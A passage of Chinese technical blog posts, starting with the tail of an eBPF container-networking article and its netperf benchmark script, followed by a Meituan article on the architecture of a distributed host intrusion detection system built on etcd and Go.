container之间通讯延迟的问题。那在这种场景下,原来的HIDS产品能否感知到?物理机、虚拟机时代,原来的进程间通讯是IPC、unixdomain socket,而容器化下,是GRPC\HTTP,安全场景上已经有很大变化... 在当下微服务架构日益盛行的时代,必定追求更好性能,更快的速度,更大的负载方向走。而linux kernel的eBPF技术,必定是未来容器化、容器编排领域的热门技术。那么,在信息安全的主机安全领域,HIDS之类产品该何去何从?例如本文中的性能优化,在容器编排场景是特别有价值的使用,甚至已经有了成熟的产品上市。那HIDS还能检测的出来吗? 我们现在使用的单机化、虚拟化的传统思维模式研发安全防护产品,在面对云原生时代容器化的IDC安全问题时,还能跟得上吗?是时候用CIDS来代替HIDS了。 注: HIDS:Host-based Intrusion Detection System CIDS:Container Intrusion Detection System 附 测试脚本 <?php //benchmark.php function testTp($req_size) { $file = 'result/bench_tp_ebpf_r'.$req_size.'_30s'; $strCmd = "netperf -t TCP_RR -H 127.0.0.1 -p 1000 -l 30 -- -r $req_size, %d"; $arrAll = array(); for ($i=1; $i<=60; $i++) { $msg_size = $i*500; $cmd = sprintf($strCmd,$msg_size); echo $file, ": start to exec ",$cmd,"\n"; $arrExec = array(); exec($cmd, $arrExec); $r = array_pop($arrExec); $r = array_pop($arrExec); $r1 = preg_split('/\s+/',$r); $arrAll[$msg_size] = trim($r1[5]); $f = sprintf($file,$msg_size); } var_dump($arrAll); file_put_contents($f,json_encode($arrAll)); } $arrTest = array( 64, 128, 256); $strCmdServer = 'netserver -p 1000'; $rs = system($strCmdServer); var_dump($rs); foreach ($arrTest as $v) { echo "--------------------------------\n"; echo "--------开始测试:$v-----------\n"; echo "--------------------------------\n"; testTp($v); } echo "done\n"; 结果处理 执行./load.sh脚本,启用ebpf,执行php benchmark.php 合并 result/bench_tp_ebpf_*中几个文件,把json的结果转化到csv中 使用plotly.com创建图表,导入csv文件,开始制表画图 后续 我会开始分析Cilium的eBPF源码,了解eBPF在K8s产品中实现原理,更好的研发用eBPF实现行为观测的数据收集,安全防护的CIDS(HIDS)产品 2021-11-01 1 0
保障IDC安全:分布式HIDS集群架构设计 背景 近年来,互联网上安全事件频发,企业信息安全越来越受到重视,而IDC服务器安全又是纵深防御体系中的重要一环。保障IDC安全,常用的是基于主机型入侵检测系统Host-based Intrusion Detection System,即HIDS。在HIDS面对几十万台甚至上百万台规模的IDC环境时,系统架构该如何设计呢?复杂的服务器环境,网络环境,巨大的数据量给我们带来了哪些技术挑战呢? 需求描述 对于HIDS产品,我们安全部门的产品经理提出了以下需求: 满足50W-100W服务器量级的IDC规模。 部署在高并发服务器生产环境,要求Agent低性能低损耗。 广泛的部署兼容性。 偏向应用层和用户态入侵检测(可以和内核态检测部分解耦)。 针对利用主机Agent排查漏洞的最急需场景提供基本的能力,可以实现海量环境下快速查找系统漏洞。 Agent跟Server的配置下发通道安全。 配置信息读取写入需要鉴权。 配置变更历史记录。 Agent插件具备自更新功能。 分析需求 首先,服务器业务进程优先级高,HIDS Agent进程自己可以终止,但不能影响宿主机的主要业务,这是第一要点,那么业务需要具备熔断功能,并具备自我恢复能力。 其次,进程保活、维持心跳、实时获取新指令能力,百万台Agent的全量控制时间一定要短。举个极端的例子,当Agent出现紧急情况,需要全量停止时,那么全量停止的命令下发,需要在1-2分钟内完成,甚至30秒、20秒内完成。这些将会是很大的技术挑战。 还有对配置动态更新,日志级别控制,细分精确控制到每个Agent上的每个HIDS子进程,能自由地控制每个进程的启停,每个Agent的参数,也能精确的感知每台Agent的上线、下线情况。 同时,Agent本身是安全Agent,安全的因素也要考虑进去,包括通信通道的安全性,配置管理的安全性等等。 最后,服务端也要有一致性保障、可用性保障,对于大量Agent的管理,必须能实现任务分摊,并行处理任务,且保证数据的一致性。考虑到公司规模不断地扩大,业务不断地增多,特别是美团和大众点评合并后,面对的各种操作系统问题,产品还要具备良好的兼容性、可维护性等。 总结下来,产品架构要符合以下特性: 集群高可用。 分布式,去中心化。 配置一致性,配置多版本可追溯。 分治与汇总。 兼容部署各种Linux 服务器,只维护一个版本。 节省资源,占用较少的CPU、内存。 精确的熔断限流。 服务器数量规模达到百万级的集群负载能力。 技术难点 在列出产品需要实现的功能点、技术点后,再来分析下遇到的技术挑战,包括不限于以下几点: 资源限制,较小的CPU、内存。 五十万甚至一百万台服务器的Agent处理控制问题。 量级大了后,集群控制带来的控制效率,响应延迟,数据一致性问题。 量级大了后,数据传输对整个服务器内网带来的流量冲击问题。 量级大了后,运行环境更复杂,Agent异常表现的感知问题。 量级大了后,业务日志、程序运行日志的传输、存储问题,被监控业务访问量突增带来监控数据联动突增,对内网带宽,存储集群的爆发压力问题。 我们可以看到,技术难点几乎都是服务器到达一定量级带来的,对于大量的服务,集群分布式是业界常见的解决方案。 架构设计与技术选型 对于管理Agent的服务端来说,要实现高可用、容灾设计,那么一定要做多机房部署,就一定会遇到数据一致性问题。那么数据的存储,就要考虑分布式存储组件。 分布式数据存储中,存在一个定理叫CAP定理: CAP的解释 关于CAP定理,分为以下三点: 一致性(Consistency):分布式数据库的数据保持一致。 可用性(Availability):任何一个节点宕机,其他节点可以继续对外提供服务。 分区容错性(网络分区)Partition Tolerance:一个数据库所在的机器坏了,如硬盘坏了,数据丢失了,可以添加一台机器,然后从其他正常的机器把备份的数据同步过来。 根据定理,分布式系统只能满足三项中的两项而不可能满足全部三项。理解CAP定理的最简单方式是想象两个节点分处分区两侧。允许至少一个节点更新状态会导致数据不一致,即丧失了Consistency。如果为了保证数据一致性,将分区一侧的节点设置为不可用,那么又丧失了Availability。除非两个节点可以互相通信,才能既保证Consistency又保证Availability,这又会导致丧失Partition Tolerance。 参见:CAP Theorem。 CAP的选择 为了容灾上设计,集群节点的部署,会选择的异地多机房,所以 「Partition tolerance」是不可能避免的。那么可选的是 AP 与 CP。 在HIDS集群的场景里,各个Agent对集群持续可用性没有非常强的要求,在短暂时间内,是可以出现异常,出现无法通讯的情况。但最终状态必须要一致,不能存在集群下发关停指令,而出现个别Agent不听从集群控制的情况出现。所以,我们需要一个满足 CP 的产品。 满足CP的产品选择 在开源社区中,比较出名的几款满足CP的产品,比如etcd、ZooKeeper、Consul等。我们需要根据几款产品的特点,根据我们需求来选择符合我们需求的产品。 插一句,网上很多人说Consul是AP产品,这是个错误的描述。既然Consul支持分布式部署,那么一定会出现「网络分区」的问题, 那么一定要支持「Partition tolerance」。另外,在consul的官网上自己也提到了这点 Consul uses a CP architecture, favoring consistency over availability. Consul is opinionated in its usage while Serf is a more flexible and general purpose tool. In CAP terms, Consul uses a CP architecture, favoring consistency over availability. Serf is an AP system and sacrifices consistency for availability. This means Consul cannot operate if the central servers cannot form a quorum while Serf will continue to function under almost all circumstances. etcd、ZooKeeper、Consul对比 借用etcd官网上etcd与ZooKeeper和Consul的比较图。 在我们HIDS Agent的需求中,除了基本的服务发现 、配置同步 、配置多版本控制 、变更通知等基本需求外,我们还有基于产品安全性上的考虑,比如传输通道加密、用户权限控制、角色管理、基于Key的权限设定等,这点 etcd比较符合我们要求。很多大型公司都在使用,比如Kubernetes、AWS、OpenStack、Azure、Google Cloud、Huawei Cloud等,并且etcd的社区支持非常好。基于这几点因素,我们选择etcd作为HIDS的分布式集群管理。 选择etcd 对于etcd在项目中的应用,我们分别使用不同的API接口实现对应的业务需求,按照业务划分如下: Watch机制来实现配置变更下发,任务下发的实时获取机制。 脑裂问题在etcd中不存在,etcd集群的选举,只有投票达到 N/2+1 以上,才会选做Leader,来保证数据一致性。另外一个网络分区的Member节点将无主。 语言亲和性,也是Golang开发的,Client SDK库稳定可用。 Key存储的数据结构支持范围性的Key操作。 User、Role权限设定不同读写权限,来控制Key操作,避免其他客户端修改其他Key的信息。 TLS来保证通道信息传递安全。 Txn分布式事务API配合Compare API来确定主机上线的Key唯一性。 Lease租约机制,过期Key释放,更好的感知主机下线信息。 etcd底层Key的存储为BTree结构,查找时间复杂度为O(㏒n),百万级甚至千万级Key的查找耗时区别不大。 etcd Key的设计 前缀按角色设定: Server配置下发使用 /hids/server/config/{hostname}/master。 Agent注册上线使用 /hids/agent/master/{hostname}。 Plugin配置获取使用 /hids/agent/config/{hostname}/plugin/ID/conf_name。 Server Watch /hids/agent/master/前缀,实现Agent主机上线的瞬间感知。Agent Watch /hids/server/config/{hostname}/来获取配置变更,任务下发。Agent注册的Key带有Lease Id,并启用keepalive,下线后瞬间感知。 (异常下线,会有1/3的keepalive时间延迟) 关于Key的权限,根据不同前缀,设定不同Role权限。赋值给不同的User,来实现对Key的权限控制。 etcd集群管理 在etcd节点容灾考虑,考虑DNS故障时,节点会选择部署在多个城市,多个机房,以我们服务器机房选择来看,在大部分机房都有一个节点,综合承载需求,我们选择了N台服务器部署在个别重要机房,来满足负载、容灾需求。但对于etcd这种分布式一致性强的组件来说,每个写操作都需要N/2+1的节点确认变更,才会将写请求写入数据库中,再同步到各个节点,那么意味着节点越多,需要确认的网络请求越多,耗时越多,反而会影响集群节点性能。这点,我们后续将提升单个服务器性能,以及牺牲部分容灾性来提升集群处理速度。 客户端填写的IP列表,包含域名、IP。IP用来规避DNS故障,域名用来做Member节点更新。最好不要使用Discover方案,避免对内网DNS服务器产生较大压力。 同时,在配置etcd节点的地址时,也要考虑到内网DNS故障的场景,地址填写会混合IP、域名两种形式。IP的地址,便于规避内网DNS故障。 域名形式,便于做个别节点更替或扩容。 我们在设计产品架构时,为了安全性,开启了TLS证书认证,当节点变更时,证书的生成也同样要考虑到上面两种方案的影响,证书里需要包含固定IP,以及DNS域名范围的两种格式。 etcd Cluster节点扩容 节点扩容,官方手册上也有完整的方案,etcd的Client里实现了健康检测与故障迁移,能自动的迁移到节点IP列表中的其他可用IP。也能定时更新etcd Node List,对于etcd Cluster的集群节点变更来说,不存在问题。需要我们注意的是,TLS证书的兼容。 分布式HIDS集群架构图 集群核心组件高可用,所有Agent、Server都依赖集群,都可以无缝扩展,且不影响整个集群的稳定性。即使Server全部宕机,也不影响所有Agent的继续工作。 在以后Server版本升级时,Agent不会中断,也不会带来雪崩式的影响。etcd集群可以做到单节点升级,一直到整个集群升级,各个组件全都解耦。 编程语言选择 考虑到公司服务器量大,业务复杂,需求环境多变,操作系统可能包括各种Linux以及Windows等。为了保证系统的兼容性,我们选择了Golang作为开发语言,它具备以下特点:可以静态编译,直接通过syscall来运行,不依赖libc,兼容性高,可以在所有Linux上执行,部署便捷。 静态编译语言,能将简单的错误在编译前就发现。 具备良好的GC机制,占用系统资源少,开发成本低。 容器化的很多产品都是Golang编写,比如Kubernetes、Docker等。 etcd项目也是Golang编写,类库、测试用例可以直接用,SDK支持快速。 良好的CSP并发模型支持,高效的协程调度机制。产品架构大方向 HIDS产品研发完成后,部署的服务都运行着各种业务的服务器,业务的重要性排在第一,我们产品的功能排在后面。为此,确定了几个产品的大方向: 高可用,数据一致,可横向扩展。 容灾性好,能应对机房级的网络故障。 兼容性好,只维护一个版本的Agent。 依赖低,不依赖任何动态链接库。 侵入性低,不做Hook,不做系统类库更改。 熔断降级可靠,宁可自己挂掉,也不影响业务 。产品实现 篇幅限制,仅讨论框架设计、熔断限流、监控告警、自我恢复以及产品实现上的主进程与进程监控。 框架设计 hids-framework 如上图,在框架的设计上,封装常用类库,抽象化定义Interface,剥离etcd Client,全局化Logger,抽象化App的启动、退出方法。使得各模块(以下简称App)只需要实现自己的业务即可,可以方便快捷的进行逻辑编写,无需关心底层实现、配置来源、重试次数、熔断方案等等。 沙箱隔离 考虑到子进程不能无限的增长下去,那么必然有一个进程包含多个模块的功能,各App之间既能使用公用底层组件(Logger、etcd Client等),又能让彼此之间互不影响,这里进行了沙箱化处理,各个属性对象仅在各App的sandbox里生效。同样能实现了App进程的性能熔断,停止所有的业务逻辑功能,但又能具有基本的自我恢复功能。 IConfig 对各App的配置抽象化处理,实现IConfig的共有方法接口,用于对配置的函数调用,比如Check的检测方法,检测配置合法性,检测配置的最大值、最小值范围,规避使用人员配置不在合理范围内的情况,从而避免带来的风险。 框架底层用Reflect来处理JSON配置,解析读取填写的配置项,跟Config对象对比,填充到对应Struct的属性上,允许JSON配置里只填写变化的配置,没填写的配置项,则使用Config对应Struct的默认配置。便于灵活处理配置信息。 Timer、Clock调度 在业务数据产生时,很多地方需要记录时间,时间的获取也会产生很多系统调用。尤其是在每秒钟产生成千上万个事件,这些事件都需要调用获取时间接口,进行clock_gettime等系统调用,会大大增加系统CPU负载。 而很多事件产生时间的准确性要求不高,精确到秒,或者几百个毫秒即可,那么框架里实现了一个颗粒度符合需求的(比如100ms、200ms、或者1s等)间隔时间更新的时钟,即满足事件对时间的需求,又减少了系统调用。 同样,在有些Ticker场景中,Ticker的间隔颗粒要求不高时,也可以合并成一个Ticker,减少对CPU时钟的调用。 Catcher 在多协程场景下,会用到很多协程来处理程序,对于个别协程的panic错误,上层线程要有一个良好的捕获机制,能将协程错误抛出去,并能恢复运行,不要让进程崩溃退出,提高程序的稳定性。 抽象接口 框架底层抽象化封装Sandbox的Init、Run、Shutdown接口,规范各App的对外接口,让App的初始化、运行、停止等操作都标准化。App的模块业务逻辑,不需要关注PID文件管理,不关注与集群通讯,不关心与父进程通讯等通用操作,只需要实现自己的业务逻辑即可。App与框架的统一控制,采用Context包以及Sync.Cond等条件锁作为同步控制条件,来同步App与框架的生命周期,同步多协程之间同步,并实现App的安全退出,保证数据不丢失。 限流 网络IO 限制数据上报速度。 队列存储数据任务列表。 大于队列长度数据丢弃。 丢弃数据总数计数。 计数信息作为心跳状态数据上报到日志中心,用于数据对账。 磁盘IO 程序运行日志,对日志级别划分,参考 /usr/include/sys/syslog.h: LOG_EMERG LOG_ALERT LOG_CRIT LOG_ERR LOG_WARNING LOG_NOTICE LOG_INFO LOG_DEBUG 在代码编写时,根据需求选用级别。级别越低日志量越大,重要程度越低,越不需要发送至日志中心,写入本地磁盘。那么在异常情况排查时,方便参考。 日志文件大小控制,分2个文件,每个文件不超过固定大小,比如20M、50M等。并且,对两个文件进行来回写,避免日志写满磁盘的情况。 IRetry 为了加强Agent的鲁棒性,不能因为某些RPC动作失败后导致整体功能不可用,一般会有重试功能。Agent跟etcd Cluster也是TCP长连接(HTTP2),当节点重启更换或网络卡顿等异常时,Agent会重连,那么重连的频率控制,不能是死循环般的重试。假设服务器内网交换机因内网流量较大产生抖动,触发了Agent重连机制,不断的重连又加重了交换机的负担,造成雪崩效应,这种设计必须要避免。 在每次重试后,需要做一定的回退机制,常见的指数级回退,比如如下设计,在规避雪崩场景下,又能保障Agent的鲁棒性,设定最大重试间隔,也避免了Agent失控的问题。 事件拆分 百万台IDC规模的Agent部署,在任务执行、集群通讯或对宿主机产生资源影响时,务必要错峰进行,根据每台主机的唯一特征取模,拆分执行,避免造成雪崩效应。 监控告警 古时候,行军打仗时,提倡「兵马未动,粮草先行」,无疑是冷兵器时代决定胜负走向的重要因素。做产品也是,尤其是大型产品,要对自己运行状况有详细的掌控,做好监控告警,才能确保产品的成功。 对于etcd集群的监控,组件本身提供了Metrics数据输出接口,官方推荐了Prometheus来采集数据,使用Grafana来做聚合计算、图标绘制,我们做了Alert的接口开发,对接了公司的告警系统,实现IM、短信、电话告警。 Agent数量感知,依赖Watch数字,实时准确感知。 如下图,来自产品刚开始灰度时的某一时刻截图,Active Streams(即etcd Watch的Key数量)即为对应Agent数量,每次灰度的产品数量。因为该操作,是Agent直接与集群通讯,并且每个Agent只Watch一个Key。且集群数据具备唯一性、一致性,远比心跳日志的处理要准确的多。 etcd-Grafana-Watcher-Monitor etcd集群Members之间健康状况监控 etcd-Grafana-GC-Heap-Objects 用于监控管理etcd集群的状况,包括Member节点之间数据同步,Leader选举次数,投票发起次数,各节点的内存申请状况,GC情况等,对集群的健康状况做全面掌控。 程序运行状态监控告警 agent-mem-es agent-cpu-es 全量监控Agent的资源占用情况,统计每天使用最大CPU\内存的主机Agent,确定问题的影响范围,及时做策略调整,避免影响到业务服务的运行。并在后续版本上逐步做调整优化。 百万台服务器,日志告警量非常大,这个级别的告警信息的筛选、聚合是必不可少的。减少无用告警,让研发运维人员疲于奔命,也避免无用告警导致研发人员放松了警惕,前期忽略个例告警,先解决主要矛盾。 告警信息分级,告警信息细分ID。 根据告警级别过滤,根据告警ID聚合告警,来发现同类型错误。 根据告警信息的所在机房、项目组、产品线等维度来聚合告警,来发现同类型错误。 数据采集告警 单机数据数据大小、总量的历史数据对比告警。 按机房、项目组、产品线等维度的大小、总量等维度的历史数据对比告警。 数据采集大小、总量的对账功能,判断经过一系列处理流程的日志是否丢失的监控告警。熔断针对单机Agent使用资源大小的阈值熔断,CPU使用率,连续N次触发大于等于5%,则进行保护性熔断,退出所有业务逻辑,以保护主机的业务程序优先。 Master进程进入空闲状态,等待第二次时间Ticker到来,决定是否恢复运行。 各个App基于业务层面的监控熔断策略。灰度管理 在前面的配置管理中的etcd Key设计里,已经细分到每个主机(即每个Agent)一个Key。那么,服务端的管理,只要区分该主机所属机房、环境、群组、产品线即可,那么,我们的管理Agent的颗粒度可以精确到每个主机,也就是支持任意纬度的灰度发布管理与命令下发。 数据上报通道 组件名为 log_agent ,是公司内部统一日志上报组件,会部署在每一台VM、Docker上。主机上所有业务均可将日志发送至该组件。 log_agent会将日志上报到Kafka集群中,经过处理后,落入Hive集群中。(细节不在本篇讨论范围) 主进程 主进程实现跟etcd集群通信,管理整个Agent的配置下发与命令下发;管理各个子模块的启动与停止;管理各个子模块的CPU、内存占用情况,对资源超标进行进行熔断处理,让出资源,保证业务进程的运行。 插件化管理其他模块,多进程模式,便于提高产品灵活性,可更简便的更新启动子模块,不会因为个别模块插件的功能、BUG导致整个Agent崩溃。 进程监控 方案选择 我们在研发这产品时,做了很多关于linux进程创建监控的调研,不限于安全产品,大约有下面三种技术方案:方案Docker兼容性开发难度数据准确性系统侵入性cn_proc不支持Docker一般存在内核拿到的PID,在/proc/下丢失的情况无Audit不支持Docker一般同cn_proc弱,但依赖AuditdHook定制高精确强 对于公司的所有服务器来说,几十万台都是已经在运行的服务器,新上的任何产品,都尽量避免对服务器有影响,更何况是所有服务器都要部署的Agent。 意味着我们在选择系统侵入性来说,优先选择最小侵入性的方案。 对于Netlink的方案原理,可以参考这张图(来自:kernel-proc-connector-and-containers) process-connector。 系统侵入性比较 cn_proc跟Autid在「系统侵入性」和「数据准确性」来说,cn_proc方案更好,而且使用CPU、内存等资源情况,更可控。 Hook的方案,对系统侵入性太高了,尤其是这种最底层做HOOK syscall的做法,万一测试不充分,在特定环境下,有一定的概率会出现Bug,而在百万IDC的规模下,这将成为大面积事件,可能会造成重大事故。 兼容性上比较 cn_proc不兼容Docker,这个可以在宿主机上部署来解决。 Hook的方案,需要针对每种Linux的发行版做定制,维护成本较高,且不符合长远目标(收购外部公司时遇到各式各样操作系统问题) 数据准确性比较 在大量PID创建的场景,比如Docker的宿主机上,内核返回PID时,因为PID返回非常多非常快,很多进程启动后,立刻消失了,另外一个线程都还没去读取/proc/,进程都丢失了,场景常出现在Bash执行某些命令。 最终,我们选择Linux Kernel Netlink接口的cn_proc指令作为我们进程监控方案,借助对Bash命令的收集,作为该方案的补充。当然,仍然存在丢数据的情况,但我们为了系统稳定性,产品侵入性低等业务需求,牺牲了一些安全性上的保障。 对于Docker的场景,采用宿主机运行,捕获数据,关联到Docker容器,上报到日志中心的做法来实现。 遇到的问题 内核Netlink发送数据卡住 内核返回数据太快,用户态ParseNetlinkMessage解析读取太慢,导致用户态网络Buff占满,内核不再发送数据给用户态,进程空闲。对于这个问题,我们在用户态做了队列控制,确保解析时间的问题不会影响到内核发送数据。对于队列的长度,我们做了定值限制,生产速度大于消费速度的话,可以丢弃一些数据,来保证业务正常运行,并且来控制进程的内存增长问题。 疑似“内存泄露”问题 在一台Docker的宿主机上,运行了50个Docker实例,每个Docker都运行了复杂的业务场景,频繁的创建进程,在最初的产品实现上,启动时大约10M内存占用,一天后达到200M的情况。 经过我们Debug分析发现,在ParseNetlinkMessage处理内核发出的消息时,PID频繁创建带来内存频繁申请,对象频繁实例化,占用大量内存。同时,在Golang GC时,扫描、清理动作带来大量CPU消耗。在代码中,发现对于linux/connector.h里的struct cb_msg、linux/cn_proc.h里的struct proc_event结构体频繁创建,带来内存申请等问题,以及Golang的GC特性,内存申请后,不会在GC时立刻归还操作系统,而是在后台任务里,逐渐的归还到操作系统,见:debug.FreeOSMemory FreeOSMemory forces a garbage collection followed by an attempt to return as much memory to the operating system as possible. (Even if this is not called, the runtime gradually returns memory to the operating system in a background task.) 但在这个业务场景里,大量频繁的创建PID,频繁的申请内存,创建对象,那么申请速度远远大于释放速度,自然内存就一直堆积。 从文档中可以看出,FreeOSMemory的方法可以将内存归还给操作系统,但我们并没有采用这种方案,因为它治标不治本,没法解决内存频繁申请频繁创建的问题,也不能降低CPU使用率。 为了解决这个问题,我们采用了sync.Pool的内置对象池方式,来复用回收对象,避免对象频繁创建,减少内存占用情况,在针对几个频繁创建的对象做对象池化后,同样的测试环境,内存稳定控制在15M左右。 大量对象的复用,也减少了对象的数量,同样的,在Golang GC运行时,也减少了对象的扫描数量、回收数量,降低了CPU使用率。 项目进展 在产品的研发过程中,也遇到了一些问题,比如:etcd Client Lease Keepalive的Bug。 Agent进程资源限制的Cgroup触发几次内核Bug。 Docker宿主机上瞬时大量进程创建的性能问题。 网络监控模块在处理Nginx反向代理时,动辄几十万TCP链接的网络数据获取压力。 个别进程打开了10W以上的fd。 方法一定比困难多,但方法不是拍脑袋想出来的,一定要深入探索问题的根本原因,找到系统性的修复方法,具备高可用、高性能、监控告警、熔断限流等功能后,对于出现的问题,能够提前发现,将故障影响最小化,提前做处理。在应对产品运营过程中遇到的各种问题时,逢山开路,遇水搭桥,都可以从容的应对。 经过我们一年的努力,已经部署了除了个别特殊业务线之外的其他所有服务器,数量达几十万台,产品稳定运行。在数据完整性、准确性上,还有待提高,在精细化运营上,需要多做改进。 本篇更多的是研发角度上软件架构上的设计,关于安全事件分析、数据建模、运营策略等方面的经验和技巧,未来将会由其他同学进行分享,敬请期待。 总结 我们在研发这款产品过程中,也看到了网上开源了几款同类产品,也了解了他们的设计思路,发现很多产品都是把主要方向放在了单个模块的实现上,而忽略了产品架构上的重要性。 比如,有的产品使用了syscall hook这种侵入性高的方案来保障数据完整性,使得对系统侵入性非常高,Hook代码的稳定性,也严重影响了操作系统内核的稳定。同时,Hook代码也缺少了监控熔断的措施,在几十万服务器规模的场景下部署,潜在的风险可能让安全部门无法接受,甚至是致命的。 这种设计,可能在服务器量级小时,对于出现的问题多花点时间也能逐个进行维护,但应对几十万甚至上百万台服务器时,对维护成本、稳定性、监控熔断等都是很大的技术挑战。同时,在研发上,也很难实现产品的快速迭代,而这种方式带来的影响,几乎都会导致内核宕机之类致命问题。这种事故,使用服务器的业务方很难进行接受,势必会影响产品的研发速度、推进速度;影响同事(SRE运维等)对产品的信心,进而对后续产品的推进带来很大的阻力。 以上是笔者站在研发角度,从可用性、可靠性、可控性、监控熔断等角度做的架构设计与框架设计,分享的产品研发思路。 笔者认为大规模的服务器安全防护产品,首先需要考虑的是架构的稳定性、监控告警的实时性、熔断限流的准确性等因素,其次再考虑安全数据的完整性、检测方案的可靠性、检测模型的精确性等因素。 九层之台,起于累土。只有打好基础,才能运筹帷幄,决胜千里之外。 参考资料https://en.wikipedia.org/wiki/CAP_theorem https://www.consul.io/intro/vs/serf.html https://golang.org/src/runtime/debug/garbage.go?h=FreeOSMemory#L99 https://www.ibm.com/developerworks/cn/linux/l-connector/ https://www.kernel.org/doc/ https://coreos.com/etcd/docs/latest/作者简介 陈驰,美团点评技术专家,2017年加入美团,十年以上互联网产品研发经验,专注于分布式系统架构设计,目前主要从事安全防御产品研发工作。 关于美团安全 美团安全部的大多数核心人员,拥有多年互联网以及安全领域实践经验,很多同学参与过大型互联网公司的安全体系建设,其中也不乏全球化安全运营人才,具备百万级IDC规模攻防对抗的经验。安全部也不乏CVE“挖掘圣手”,有受邀在Black Hat等国际顶级会议发言的讲者,当然还有很多漂亮的运营妹子。 目前,美团安全部涉及的技术包括渗透测试、Web防护、二进制安全、内核安全、分布式开发、大数据分析、安全算法等等,同时还有全球合规与隐私保护等策略制定。我们正在建设一套百万级IDC规模、数十万终端接入的移动办公网络自适应安全体系,这套体系构建于零信任架构之上,横跨多种云基础设施,包括网络层、虚拟化/容器层、Server 软件层(内核态/用户态)、语言虚拟机层(JVM/JS V8)、Web应用层、数据访问层等,并能够基于“大数据+机器学习”技术构建全自动的安全事件感知系统,努力打造成业界最前沿的内置式安全架构和纵深防御体系。 随着美团的高速发展,业务复杂度不断提升,安全部门面临更多的机遇和挑战。我们希望将更多代表业界最佳实践的安全项目落地,同时为更多的安全从业者提供一个广阔的发展平台,并提供更多在安全新兴领域不断探索的机会。 招聘信息 美团安全部正在招募Web&二进制攻防、后台&系统开发、机器学习&算法等各路小伙伴。如果你想加入我们,欢迎简历请发至邮箱zhaoyan17@meituan.com 具体职位信息可参考这里:https://mp.weixin.qq.com/s/ynEq5LqQ2uBcEaHCu7Tsiw 美团安全应急响应中心MTSRC主页:security.meituan.com 首发我司『美团技术团队』微信公众号 [微信公众号]保障IDC安全:分布式HIDS集群架构设计 [官方博客]保障IDC安全:分布式HIDS集群架构设计 2019-01-18 +4 8 0